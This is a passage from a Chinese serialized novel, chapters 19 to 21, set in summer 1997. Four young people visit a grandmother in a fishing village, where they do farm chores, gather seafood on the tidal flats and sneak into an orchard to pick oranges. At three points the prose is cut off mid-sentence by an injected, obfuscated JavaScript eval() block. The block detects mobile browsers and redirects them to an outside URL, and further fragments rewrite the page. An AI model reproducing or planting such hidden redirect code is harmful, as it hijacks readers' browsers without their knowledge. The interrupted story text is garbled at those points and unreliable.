“吃东西要有节制,不要看见能吃的就往嘴里塞,闹肚子都还好,要是急性肠胃炎就糟糕了。”她反复叮嘱,让她不要乱吃东西。 “妈这个就不要了!”赵迟来掂了掂,有些嫌弃,“有阿嬷在我才不会有事嘞。”说着已经拖出来放回桌上。 “万一能用上呢?” “没有这个万一,我好着呢,再说这个放进去多重啊,到时候再把轮子给压坏了怎么办?” 梁惠想起她身体确实一直都好得没话说,没再勉强。 “带什么东西这么重?”她提了提,没提动。 “书啊,沙袋啊,我得写作业呢。”赵迟来轻而易举提溜起来,放在一边。 “你确定你用得上?”梁惠一脸怀疑。 “那当然了!我作息表也带上了!”赵迟来不满,“没道理在家可以,在阿嬷家就不行啊!” “你最好是。”梁惠拿走医药箱,意味深长。 “……什么嘛,少看不起人。”她碎碎念。 东西收拾好,她去接小午。 小午就背了一个背包,里头只有两个小玩具,一套背心裤衩,甚至一半都没装满。 “……就这些?”她沉默了。 “还要带什么吗?”小午也沉默了。 舅妈匆匆忙忙从洗手间出来。 “好了慢慢我走了,小午我就交给你了啊,记得别让他尿车上,到了看着他玩水。” 然后又掏出50块钱递给她,让她买点路上吃的东西。 给的肯定多了。 但她一看周围也没有别人,根本不想推辞。 出来就直奔对面的张鑫家,采购辣条方便面若干,让小午抱着。 “走咯!去看阿嬷咯,小午开不开心?” “开心。” 两人从巷子里急速穿过。 经过右边的小花园,头顶忽然响起黎明律的声音—— “你终于决定开始吃小孩儿了?”他撑在花园围栏上,看起来闲适得很。 赵迟来心情很好,都没怼他:“没听见啊?回村里啊。” “你们两个?” “这还要问吗?” “行李有空搬吗?” “……” 她想到自己那个没有一点空隙的行李箱,又看了看怀里一脸清澈的小午和满满一袋零食,陷入沉默。 “嗤。”黎明律突然笑了一声。 “要你管?”赵迟来狠狠瞪了他一眼,闷头往前走,“就知道阴阳怪气,早晚有一天败在我手里。” 她没回去,而是去找文思泉,如果能把她带走,那帮手不就有了? “我可能去不了慢慢,我得陪我妈回一趟上海。”她也在收拾行李,得知赵迟来的来意有点不好意思,“我外婆生日呢,舅舅他们也正好要回上海……” “哦那你去吧,你妈妈也难得回去一趟,咱们下次再约。”赵迟来当然没有勉强,说着就往回走,“你要有空记得再给我带几个鲜肉月饼!” “好啊!”文思泉想到什么,“对了,你可以问问一休哥去不去。” “嗯?他忙得澡都没空洗,怎么可能有空跟我走。” “有空啊。” 一个鸡窝头从门口路过。 “一休哥?你怎么在这儿?”这是赵迟来没想到的,陈抑休居然就在这儿。 “我找何阿姨借点针线。”他晃了晃手里的毛线和钩针。 “你?你什么时候喜欢上了这个?”之前也没有听说啊。 何温婉笑着从吧台回头:“就这两天的事,阿休说最近闲得无聊,想学学钩织打发时间。” 赵迟来说不上心里什么滋味:“学得明白吗?你就借。” 想当年她有段时间也沉迷过针织,结果见文思泉的脚比她手还快,这股热情就很快消失了。 “意外学得很快呢,钱包做得有模有样。”文思泉竖起大拇指,“我妈说比我还细。” “没有没有,还差得远。”陈抑休摆摆手,被夸得有点不好意思。 赵迟来看看他,又看看文思泉,面露狐疑,片刻恍然大悟:“哦,那很好啊。”说完朝文思泉挤了挤眼睛。 “?”文思泉回以茫然。 见她装的还挺像,赵迟来咳了一声也没太过分。 “你说你有空怎么回事?不用做数据吗?”她问陈抑休。 “没进展,放了我半个月假。” “那正好啊,”她眼神一亮,“你来给我搬行……不是,你要陪我回渔田玩几天吗?” “可以啊。”他想了想,“反正也没事。” 赵迟来又问文思泉:“思泉你介意我把一休哥带走几天吗?” 文思泉迟疑片刻:“他都说可以,我能有什么问题?” “那就这么定了!” 两人从院里出来,小午已经到了陈抑休手里。 “我们什么时候走?” “下午一点半的大巴,你中午来我家吃饭吧,吃了一起走。” “哦好。” “你收拾行李要多久?” “30秒吧。” “……” 他们男的出门都这样吗? “阿休!”对面有人叫住陈抑休。 是黎明律,他已经换了个地方,正在那棵酸枣树底下看书。万年不变的白衬衫配牛仔裤,简简单单,但总能穿出旁人没有的气质,夏天看起来怪清爽的。 “这么大的太阳,也不怕把眼睛看坏了……”赵迟来嘟囔两声,自己先走了。 “阿律?”陈抑休上前两步,“你不是说去图书馆,怎么还在?” “你不是说借针线,没借到?” “回来再借。” “那你这是去哪儿?” “陪慢慢回老家待几天,她说村口的龙眼很好吃,我回头给你们带点。”他说着就要走了。 不料黎明律忽然放下手里的东西也起身走过来:“那多麻烦,我跟你一起去就行了。” “哎?”陈抑休愣在原地,有点意外,“你最近不是忙着学编程吗?” “也不差这几天,正好卡住了,换换脑子。”他伸了个懒腰,想起什么,“是……不太方便吗?” “当然没有。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265408|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那我先去收拾东西,去哪儿找你?” 5分钟后。 赵迟来看着桌上多出来的一个人,脑子还没转明白。“你是说,黎明律要跟着我们一起回村里?” “准确说是阿休热情邀请我一起去摘龙眼,我正好有空就答应了。”黎明律接过梁惠递过来的碗筷,无比自然就往嘴里塞了一口。 陈抑休顿了顿,点点头。 “他邀请你就来了?问过我意见吗?我阿嬷哪有这么多时间给你这个少爷安排饭菜?”她下意识拒绝。 “慢慢?” “本来就是嘛,他挑剔死了,去了就是添乱……” 梁惠眼神警告。 “哎慢慢,”赵庆国从厨房探头,悄悄招手,“你过来。” “干嘛?”她不情不愿起身,“别说你也同意?” “我是想起来你阿嬷种的那片甘蔗啊,”赵庆国小声附耳,“她说最近都熟了都收不过来。” “所以呢?” “还没想清楚?”赵庆国看向外面,“只要人过去了,干什么还不是你阿嬷说了算。” 赵迟来脑子里灵光一闪:“啊,对啊!” 赵庆国继续回灶台:“是吧,你再想想。” 赵迟来嘿嘿一笑:“姜还是老的老啊。” 赵庆国啧了一声:“这叫老奸巨猾。” “两个不少三个不多,要不你把张鑫也骗过去?” “哎呀他是真没空……” 赵迟来再次回到餐桌。 轻咳一声正色道:“既然你诚心诚意想加入我们,我也不是什么小气的人,只要你答应在渔田的这段时间不好吃懒做,不挑三拣四,我就分你一点龙眼吃吃。” 她就差没把“给我唯命是从”写在脸上。 黎明律夹菜的手一顿,看了一眼厨房起身就走:“那我不去了。” “哎哎!”这回轮到赵迟来挽留,“不行不行,说好了要去的怎么还出尔反尔?” “我想起还有点事儿。” “跟我回渔田就是你的事儿!”她蹲在地上死死扯住他的手臂,不让他出去。 黎明律回头,耐着性子直视她的眼睛:“赵迟来,你真把我当傻子?” 她立刻否认:“哎呀没有的事,你要是傻子那我成什么了?”她像个背后灵一样死死缠住他,“你就去嘛,跟我一起去嘛,我保证很好玩的,除了龙眼还有好多好吃的!” “放手。”他试图掰开。 “你也知道,我阿嬷做的饭可好吃了!” “你放不放?” “海胆炒饭!你不是最喜欢吃了吗?哎呀黎明律!你得跟我去!” 似乎被她最后一句话吸引,他停下手陷入犹豫。赵迟来趁热打铁,又是一通画饼,终于勉强把人拉回来。 “你说的,捡的所有海胆都给我?” “给你给你!都给你。” “这还差不多。” 他又重新拿起碗筷。 见他终于消停下来,赵迟来松了口气,扭头和赵庆国对视一眼,同时忍笑低头。 对面的陈抑休左看看右看看,皱了皱眉似乎有什么东西想不明白,但很快被梁惠的一勺汤扯回碗里。 “谢谢阿姨。” “多吃点,你们都多吃点啊。” 19. 1997年夏 19 “那就拜托你了,把他们送到村口哦!”赵庆国送他们上大巴,和相熟的售票员打好招呼,又对赵迟来交代了一番。 让她注意安全,不要到处乱跑,让她照顾好小午,不要抢他的东西吃,让她招待好陈抑休和黎明律,不要太小气。 说了半天都是梁惠说过的,赵迟来催着他下车。 赵庆国感觉还有点什么话没说,但到嘴边又咽下去,想不起到底想说什么,眼看车子开出车站,他忽然醍醐灌顶,小跑着追出去—— “注意控制体重啊!不要吃得太多了!” 赵迟来打开车窗,探出头只听他似乎在说什么“不送”“再说”,挥手回应:“回去吧!不送不送!回来再说!” 赵国庆果然没送了。 她呼了口气回到座位。 小午在她旁边吃猫耳朵,后排的陈抑休已经开始仰头酝酿睡意,黎明律则戴着耳机不知道在听什么。 见她望过来,眼神询问。 “我这儿有吃的,饿了叫我。”她拍了拍零食袋。 他们当然没叫,这两人都对零食不感兴趣,赵迟来乐得清净,和小午吃了一路。怕小午尿裤子,她特意没带水。 到休息区的时候,大家都下来休息透气。 小午扯了扯赵迟来的手:“姐姐,要小便。”赵迟来赶紧收势,下意识想带着走,但看往男厕所去的没一个女性,转头把小午带到黎明律身边。 “黎明律,你带小午去一趟厕所。” “嗯?你干嘛不去?”他收回远眺的视线。 “他这么大了,我再带过去合适吗?进女厕还是男厕?”问些多余话。 黎明律还没开口,旁边有个抽烟的大叔倏然插入:“她说得对,孩子大了男女有别,就算是亲妈也不行啊。” 赵迟来下意识点头:“对啊!”片刻抓到其中的不对,无语转头,“我是他姐啊,看着有那么老吗?” 对方一愣,又去看黎明律。 黎明律回神,脱口而出:“我是他表哥。”他看着那大叔,嘴里的“他”也不知指的是小午还是赵迟来。 “……”大叔眨了眨眼,看着两人似乎对什么有疑惑的样子。 赵迟来怕小午忍不住,出声催促,黎明律这次倒没说什么,抱起小午就走了。步子迈的很快,一副也怕小午拉裤兜的样子。 没过一会儿,陈抑休也伸着懒腰下车。 这副满身闲适的样子叫赵迟来看得心里窝火:“睡睡睡就知道睡,把你卖了都不知道。”说完瞪了他一眼,气鼓鼓上车。 眼睛还没彻底睁开的陈抑休:“……” 他欲言又止,想了想还是没有跟上去。 旁边有个抽烟的大叔按了烟头,和他搭话:“你们这些小孩儿挺有意思啊。” 陈抑休转头:“嗯?” 大叔点了点赵迟来离开的方向,好奇道:“你是她……” 陈抑休顿了顿,答:“表哥。” 大叔恍然大悟:“哦——也是表哥。”点了点头,不再说什么。 留陈抑休一头雾水。 车子即将发动,黎明律终于带着小午回来,还给几人各带了一瓶水。 赵迟来只给小午浅浅喝了两口:“不能多喝啊,等快到了再喝。”黎明律的声音从后面传过来:“他爱喝就喝,喝完正好尿瓶里。” 她嘶了一声,正要怼他两句,他已经戴上眼罩,浑然不觉。 旁边原本正在看窗的陈抑休察觉她的视线,余光和她余怒未消的眼睛对了一秒,立刻眨了眨,也拉下自己的眼罩倒头睡回去。 “……” 还没落地,赵迟来就已经想给他们送走了。 傍晚的时候,车子开向一处沿海的小渔村。 村落倚靠着一片海边山林,朝海面伸出去格外远些,车子并没有进入村里,而是在一处石子路口就停下。 “渔田村到了,你们几个小孩儿下车吧。”售票员率先下车,走向行李舱。 赵迟来迷迷糊糊转醒,旁边的小午已经收拾好了。 后面的黎明律第一个起身:“我去拿行李。” 紧接着陈抑休也出来,抱走了小午:“我们先下去了,迟来你别忘记东西。” 车子很快开走。 石子路一路蜿蜒向下,两边都是比人高的甘蔗田,道路尽头连着一棵遮天蔽日的大树,密密麻麻结满了果子。 被夕阳染红的云层像棉花糖近在咫尺,迎面吹来的咸湿海风一下就唤醒赵迟来的精神气。 她伸了个懒腰,看着前头各自分工的两个劳工,只觉得浑身轻松。 “前面,靠近沙湾的那户就是我阿嬷家。”她小跑着跟上去,指着海湾那边一处三厢的小院给他们看。 院子里晒满了各种渔货,干菜,还有几床靓丽的床单迎风飘舞。 “还有点远呢。”陈抑休目测了一下距离。 “阿嬷现在在家吗?”黎明律问。 “应该在吧,我爸有提前打过电话的,这会儿应该在做饭了。”她快走两步和陈抑休手里的小午说话,“小午,我们自己下来走可以吗?让一休哥休息一下。” 小午摇了摇头:“不要。” 陈抑休也摇头:“没关系,他也不重。” “现在不重,等会儿累死你,”赵迟来贴近小午继续劝说,“小午,不可以这样。还记得你哥怎么说的吗?你是男子汉,得自食其力,如果连走都懒得走……” “没有关系,真的,我抱得起。” 黎明律侧眸,顺着说话的声音看过去。 小午一脸抗拒,不停往陈抑休另一边的怀里躲,赵迟来为了说服他,不厌其烦追着他讲道理,她和陈抑休之间本来尚有一臂的距离,也因为战况的不断升级而不断拉近,从侧面看,她的脸几乎伸到陈抑休嘴边—— 被夕阳染成蜜色的侧脸,几乎送到一个男人的嘴边。 握在行李上的手指骨泛白。 劝说无果,赵迟来回身叹气,留意到黎明律还在原地,催促道:“黎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272467|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明律你快一点啊,天马上就要黑了。”话音刚落,她就感觉他的脸色沉下来不少,也没什么别的特征,就是眼神变了一些。 她有点纳闷自己又哪儿说错话惹到他,他忽然丢下行李快步走过来,拔过小午对陈抑休说:“行李交给你,小午我来抱吧。” 陈抑休没什么意见,点头就走。 赵迟来却看着他半天没话讲。那个行李箱明显比小午重,他却一副好似帮了大忙的样子,偏陈抑休这个傻子一点也没看出来! 这不是欺负老实人吗?! 她瞪了黎明律一眼,跟着陈抑休往回走。 “我来吧一休哥。”她接过行李把手。 “没事,交给我可以的。”他十分坚决的推开,然后拉起行李箱就往前走。 “咔哒。” 轮子走出去一小步,他退回来一大步。 “……” 陈抑休抬头,有点尴尬地摸摸鼻头,“还挺,还挺重的哈。” “我就说我来吧,”赵迟来忍笑,“本来就很重,这里还是石头路,走两步就容易卡进去,一般人根本拉不动。” “我和你一起。”陈抑休也没有松手,抓住另一边和她一同往前走。 黎明律收回视线,埋头继续向前。 小午也从他肩膀上回头,扫过他的脸时顿了顿,疑惑开口:“黎表哥,你是不是不开心?” “没有。”黎明律忽然转头,“你叫我什么?” “表哥啊。” “?” “不是你说的吗?你是我表哥啊?” “……” 小午琢磨着他的脸色,觉得他应该不太喜欢自己这么叫,但又看他闭着嘴什么也不说,最后还是当他默认没意见:“黎表哥,你为什么不开心?” 黎明律也没有纠正:“我没有不开心。” “可是你都没有笑。”一个认真问。 “我生来就不爱笑。”一个认真答。 “怎么会?你以前就很爱笑啊,每次见到我姐姐都会笑。” 黎明律脚下一顿,终于露出两分头痛:“这种话以后不能随便说,明白吗?” 小午摇摇头:“不明白。” 黎明律放弃了:“你长大就会明白了,但长大之前一定不要告诉任何人,能做到吗小男子汉?” 小午认真思考了一会儿,郑重点头:“这是我们的秘密。” 黎明律被他煞有其事的表情逗笑了,拍了拍他的脑袋。 天色将暗时,一行人终于进入靠海的小院,都气喘吁吁。 一个穿着碎花背心的爆炸头阿婆端着洗锅水从右侧的厨房出来,听见门口的动静抬头。 “慢慢?” 赵迟来闻声,放下行李一个飞奔冲过来,脸上的欣喜怎么也藏不住:“阿嬷你看我给你带什么回来了?” 严英下意识看向她身后—— 两个后生仔,两个和慢慢同龄的后生仔。 想到什么,她脸上突然涌上一阵不可置信。 20. 1997年夏 20 “你是说,他俩是黎明律和陈抑休,是你骗回来给我收甘蔗的?” 院子里。 大家坐在小马扎上面面相觑,阿嬷的眼神还带着怀疑。 赵迟来扯了扯她的衣摆,小声嘀咕:“他俩还不知道呢阿嬷,明天再说也不迟嘛。” “谢谢,现在知道了。”黎明律微笑。 “知道又怎样?你跑啊,我早就让阿嬷放出话,没有我们陪着,你们根本走不出渔田村!”赵迟来破罐子破摔,“你有本事下海游回去!是吧阿嬷?”说完给阿嬷使劲眨眼。 阿嬷没接她话茬:“也没说来这么多人啊。”她自顾吃饭。 她不配合,赵迟来有点心虚,也埋头吃饭。陈抑休和黎明律同时开口:“阿嬷……”对视一眼,陈抑休让黎明律先说。 “我们可以自己照顾自己,您想吃什么我们可以去抓抓不到就去买,有什么活儿我们也都能做。” “你们是客,好容易来一趟哪儿能让你们干活?”阿嬷连连摆手,“想吃什么告诉阿嬷,阿嬷明天到早市去买。” “我去吧,我可以。”陈抑休举手。 “阿嬷,来之前我们就听赵叔说了,知道不是来度假的,有什么事尽管叫我们。”黎明律坚持。 “那不行,不行不行,那多不好意思……” “没关系阿嬷,我们有得是力气……” 赵迟来从碗里抬头,闭嘴旁观了一会儿桌上的推拉,悄悄和小午打眼色。小午没看懂,以为她想要自己面前的蛏子,挑了一个大的递给她。 “……” 按照计划。 他们两个理所当然作为劳动力留了下来。 吃完饭,两个劳工同时起身收碗,争抢一番,被阿嬷一句“要不一人一半”一起送走。 等人去了厨房,赵迟来忍不住给阿嬷竖了个大拇指。 “你少来,”阿嬷抱着昏昏欲睡的小午,低声质问,“你是怎么把他俩骗过来的?” “什么叫骗啊?一休哥是一问就答应了,黎明律还是他自己说的呢。” “哦哟,看来你说的话挺管用。” “阿嬷的面子更管用!” “那我可不敢当。” “阿嬷不信明天自己试试……买菜做饭,扫地砍甘蔗……龙眼就不用摘了我自己来……要是还不够就让他们去村口挑大粪……” 赵迟来凑近她耳边给她出主意,家里的家务田里的农务甚至其他杂事一个不放过,安排得明明白白。阿嬷只是笑,听她说得过分也会伸手来打她。 虽然有刻意压制密谋的声音,但祖孙俩不怀好意的笑声还是会时不时传到厨房。 陈抑休从窗外收回视线,手里的碗差点摔出去,黎明律接过顺手洗了,对他努了努嘴:“灶台交给我,你把地扫一下。” 陈抑休摇了摇头:“你去吧,我想在这儿多待一会儿。” 黎明律疑惑:“为什么?” 陈抑休示意他看外面:“你不觉得看她们说话挺好玩的吗?” 黎明律停下手,落在他脸上的眼神多了两分打量。 陈抑休任由他看着,手上的动作不停,问:“怎么了?”他双眼清澈,除了笑意什么也没有,似乎真只是觉得好玩。 “没什么,那灶台归你。”片刻他收回视线,转身挪开了。 阿嬷拍了拍赵迟来的手,让她收敛一点。 “小午睡着了,看来今天累得不轻。”她摸着小午的脑门亲了亲,起身回屋,“我给他放回床上去……”说到一半她突然回头,“对了,他们两个怎么睡啊?” 家里只有两间卧室,正屋中间是明堂,也是阿嬷平时用来看病的诊所,摆满了药柜和杂物,最多只有两把凉椅,根本睡不了人。 要是只有小午一个,阿嬷带着睡就是了,但剩下一张床总不能挤他们三个人吧? “让他们打地铺。”赵迟来很快想出办法。 “在哪儿打?”她俩屋里肯定不行,堂屋也没地方,那就只剩…… 眼看赵迟来的视线滑到对面的杂物房里去,阿嬷立刻打断:“不行,那里头又阴又湿,睡不了人。” 赵迟来也觉得不合适,但实在想不出还有什么地方能打地铺。 阿嬷想了想:“要不让他们带小午一起睡你屋吧?你和我睡。” 赵迟来张了张嘴,下意识想拒绝,再一想确实没有更好的办法,只能点了点头:“好吧。” 对于这个安排,陈抑休和黎明律也没什么意见,只在赵迟来抱着衣服经过时多看了她一眼。 “看什么看,你们要是敢弄坏我的东西,就死定了!” 陈抑休立刻抬起手,含笑摇头,还不忘用手肘戳了戳黎明律。黎明律收回视线:“我又不是你。” 赵迟来本来对自己不太礼貌的态度还有点懊悔,一看他又是这副欠扁的样子立刻忘到九霄云外。“你最好不是!” 回到渔田村的第一晚,赵迟来睡得很好,一夜无梦,连潜意识的作息表都忘了,一直睡到中午才转醒。 她擦着眼屎从屋里出来,叫了声“阿嬷”。 “醒了?正好准备吃饭。”回应是从厨房里传来的。 院子里有两个人影,都戴着草帽。 一个在杀鱼,一个在处理甘蔗,从脚边堆的量来看应该干了不止一会儿。 她眨了眨眼才反应过来:“黎明律?一休哥?” “早啊。”陈抑休抬肘擦了把脸上的汗,把一条处理好的小黄鱼丢进盆里。 黎明律只是抬头看了她一眼,也是满头汗,根本没力气说话。 “哈哈……” 赵迟来难免有点尴尬,“你们起好早哦,怎么都没叫我?” “叫了的,我叫了姐姐三次,”小午的声音从窗户里传出来,他在屋里看电视,“阿嬷说让你好好睡,我就没叫了。” “感谢阿嬷,”她一个箭步跑去厨房,“阿嬷我来帮你!”没一会儿端了个空盆出来,去对面的杂物房。 “严阿婆!在家吗严阿婆?我来拿药……”一个阿叔快步跑进来。 “在的!”阿嬷探头。 看清院里的情况阿叔哟了一声:“你俩大孙子回来了?” “啊?”阿嬷顿了顿没有否认,反而哈哈大笑,“是啊是啊,我俩大孙子,个顶个的力手力脚!” “看着以后就有出息,还是您老有福气啊!”阿叔夸了两句,跟着进屋取药。 “是风湿又犯了?” “这次不是,吃坏了肚子。” “哎哟,肠胃药正好没有了……” 要拿的药正好缺货,他改拿了两盒膏药回去,经过院子,又朝陈抑休和黎明律一顿夸。 “真懂事啊,以后做大生意有大出息挣钱给你们阿嬷花啊!” “会的阿叔。” “阿叔慢走。” 两人挨个打招呼,回头对视一眼,继续手上的事。 那阿叔挥了挥手,出去没走多远又回了两次头,眼神有点狐疑:“我怎么记得有一个是姿娘仔啊?” 姿娘仔赵迟来端着半碗老菜脯出来,隐约觉得院里两个人的手速比她进去的时候快了不少,多看了两眼。“阿嬷,我好像听见有人过来了?” 阿嬷切着肉:“你村东头的阿廖叔啊,就是种橘子那个,来拿药。” “哦我记得!他家橘子可好吃了,现在还种吗?”她立刻想起来。 “不种了,去年承包给了别人……你就拿这么一点?蒸肉要多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283891|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放点这个才好吃啊!”阿嬷抽空扫了眼碗,立刻又把她打回去。 如阿嬷所说,老菜脯蒸肉就是要菜多才好吃,阿嬷还匀了一些做菜脯蛋,咸香满口,是赵迟来馋了很久的味道。 除此之外,还有黎明律最爱的海胆炒饭,小午最爱的卷煎,一休哥……一休哥没有最爱吃的,他什么都吃,是长辈们嘴里平时最好养活的那一类。 吃过午饭赵迟来勤快了一回,自告奋勇去洗碗。 阿嬷带小午去午睡,临走给陈抑休和黎明律放了假。“这些就到这儿,来了还没出去看过吧?让慢慢带你们四处走走。” 赵迟来也没真敢把两人往死里用,一口答应。 海边的日头毒辣得很,不会因为水多就更好过。 她把自己包裹得严严实实,戴上帽子又扯了阿嬷的头巾裹在外面,整个人只露出一双眼睛。 “哎你们要不要?” 陈抑休摇摇头,黎明律也觉得她太夸张:“你这样就算去抢银行也没人抓得到你吧。” “不要就算了。” 她哼哼两声,提上水桶颇有点幸灾乐祸从两人跟前路过。 “拿桶做什么?”陈抑休疑惑。 “带你们赶海啊。”阿嬷说四处走走,赶海怎么不算一种四处走走呢? 赵迟来的本意是让他们抓紧一切时间干活,但没想到两人居然同时精神一振。 “好啊!我很早就想赶海来着!”陈抑休有样学样,也去找了个桶带上。 黎明律则转头就往屋里走,边走边脱鞋:“等我1分钟!” “……” 不到一分钟黎明律就出来,他换了身灰色的polo衫和卷到膝盖的老头裤,一看就是他阿公的,脚上没有穿鞋。 “可以啊,有备而来?一休哥呢?” 陈抑休扯了扯衣领:“我不用。” 她看了眼他洗得发白的包浆领口,点点头:“你确实不用,走吧。” 赵迟来从小没少在渔田村乱跑,对这个时间段的涨落潮时间清楚得很。 上午十点到下午六点,是最近最适合赶海的时间段。滩涂上水位很浅,泥沙和浅水沟里到处都是生猛海鲜,运气好的话,不用俩小时就能捡满满一桶回来。 知道这个道理的显然不止她一个,他们到的时候滩涂上已经有了很多人,附近的海域都有翻找过的痕迹。他们挑挑拣拣了四五百米,只收获两只花蟹,三只海星,一个海胆和浅浅一兜小花蛤。 “阿律!你看你看,又有一个!” “我这里也是,应该是个什么螺。” 后面时不时传来一惊一乍的声音,一副没见过世面的样子,她有意去更远的地方,但忍住没说,耐着性子陪他们往东边的野滩走。 到太阳西斜的时候,桶里总算满了一半。 赵迟来撑着酸痛的腰背站起来,前头两个居然还和出来的时候一样有精神。她摇头,看了眼天色,打算叫他们回来:“哎……” 掠过后面的山林,一片耀眼的黄色从眼角余光里闪过,她到嘴的话咽了回去。 “什么?迟来你有叫我们吗?”陈抑休隐约听见。 赵迟来收回视线,笑着三两步追上来:“你们渴不渴?” 陈抑休停顿片刻,点头。 黎明律则眯了眯眼,有点警惕:“你又在打什么坏主意?” “我只不过是想让你们陪我摘点橘子,能有什么坏主意?”她眨了眨故作无辜的眼睛,一脸期待看着她俩。 黎明律想到什么回头,朝不远处那片色泽亮丽的青黄橘林看了一眼,然后拉着陈抑休转头就走。 “哈哈晚了!你们一个都跑不了!”赵迟来一个擒拿手就给两人抓回来,一直往橘林的方向拖过去。 21. 1997年夏 21 又一个黄澄澄的橘子落入桶里。 眼看快要装不下,陈抑休扯了扯赵迟来的裤脚:“已经够了,快要装不下了。” “还要一个还要一个,这个……太大了!”赵迟来站在树杈上,伸手极力往前够。 篱笆外的黎明律望着周围,催促:“赵迟来你还有多久?再不走有人过来了。” “咔嚓。” 赵迟来如愿摘到自己想要的,“马上!” “你小声点。” “知道了知道了,就会催催催。” 嘴上不情不愿,人已经跳下来。 “慢点。” 等她稳稳落地,陈抑休先把桶递出去。 篱笆扎得很紧实,几人为了方便善后,缝隙开得很小,只堪堪能过一个人,桶递得很吃力。 “等会儿阿嬷要是问起来,咱们怎么说?”陈抑休回头。 “还能怎么说,送的呗,这家阿叔我认识。”她还在寻找漏网之鱼。 “既然认识,为什么不直接问他要点?”黎明律不理解。 “你没听阿嬷说租给别人了,万一人不好说话岂不是很丢脸?” “那现在这样就很光彩吗?”他嘴上这么说,手还是老实递给陈抑休帮他出来。 “站着说话不腰疼,你胆子大你去说!”赵迟来紧随其后。 陈抑休将将站稳,耳听有脚步声从林子里响起,瞬间紧张:“迟来你快点,有人来了。” “啊?”赵迟来顾不上兜里的橘子,伸腿就往外跨,不料帽子上的丝巾被勾住,她扯了两下没扯出来,反倒把自己的肉扯进篱笆的缝隙里。 眼看不远真有人的脚晃过来,她急了:“拉我一把啊黎明律!快点儿。” “嘶……” 黎明律无奈握住她的胳膊使劲往外扯。 腰上猝不及防被刮了一下,赵迟来痛嘶一声,下意识挣脱,抬脚把紧窄的篱笆踩出一个大洞。 这个时候也顾不上什么善不善后,不被抓就是好的,更顾不上扯什么帽子,连人带篱笆拱出来一堆碎片,推着陈抑休就往林子里冲。 “快跑!” 事已至此,三人顾不上回头径直往对面的林子里钻,竭力往前跑。 没跑多久,身后就传来哀叹的声音,果然被发现。但好在没有看见他们的脸。 三人没有因为这点侥幸就有所松懈,一路扒开林叶往前冲,中途赵迟来拖鞋掉了一只,怕被追上都没敢捡。 跑出林子,赵迟来啪嗒栽进沙里。 “不行了不行了,再跑要见我阿公了。”她心里实在紧张,完全没有平时那股子使不完的牛劲,只觉得腿肚子抖得厉害。 陈抑休和黎明律也不遑多让。 他俩头上身上满是树叶蜘蛛网,手臂上还有不少树枝刮蹭的痕迹,一脸煞白瘫在地上喘气。 赵迟来就没见过这两人狼狈成这样,看着看着觉得很好笑。 “好玩吗?” 陈抑休转过头,汗水流进满是笑意的眼睛里:“好,好玩。” “哈哈那再来一次?” “不,不了。”他立刻摇头。 黎明律对他俩的胆大包天无话可说,平复了一会儿提起已经不剩几个橘子的桶往回走。 赵迟来撇撇嘴,和陈抑休小声:“害怕了。” 害怕是不可能害怕的。 回到家里赵迟来早就平复,和阿嬷报收获的时候顺口就带过去,阿嬷果然没有多问。 陈抑休看起来已经没事了,但黎明律却依旧话很少,递过来的橘子也没接,只是埋头吃饭。 赵迟来打量他片刻,欲言又止,收回橘子塞自己嘴里。 这一晚上她没怎么睡着。 一会儿梦到身后有狗在追,一会儿梦到自己掉进水里,最后被个橘子精一口吃掉。 起床的时候天依旧大亮,阿嬷不在家,黎明律和陈抑休都在院子里收拾甘蔗。陈抑休照常和她打招呼,黎明律却连头都没抬。 赵迟来想到昨晚做的梦,还有意外被带倒的那片篱笆,心里一时堵堵的。 她踢踢踏踏走到俩人面前:“好了,等会儿我去道歉,行了吧。” 陈抑休手上一顿:“昨天的橘子吗?” 她嗯了一声。 “可以啊,我和你一起。”他依旧是从不扫兴的那个陈抑休。 “……”黎明律终于转头看她,神色疑惑,一副不敢相信的样子。 “不用你们去,我自己去。” “去哪里?”阿嬷从外头回来。 “去……”刚才的勇气突然就被戳破了似的,她含糊道,“随便走走呗还能去哪儿,阿嬷你干嘛去了?” “我去村口看看,摘了点龙眼回来给你们吃。”阿嬷笑着露出身后的大篓子,说起刚才村口的盛况,边说边让他们过来自己拿。 “知道你们爱吃,昨天就该去的,一时忙忘了。” 几人对视一眼,都有点沉默。 “我给小午拿点,哎?你们怎么不吃啊?”阿嬷回头,“快吃快吃,吃够了和我去田里,我叫了人来收田,今天可有得忙咯。” 看来对昨天的事情一无所知。 “那我们……现在还要去道歉吗?”陈抑休有点迟疑。 “先干活吧,晚上回来也是一样的。”赵迟来抓了抓脑袋,也有点纠结。 黎明律没说什么,但脸色好看了很多。 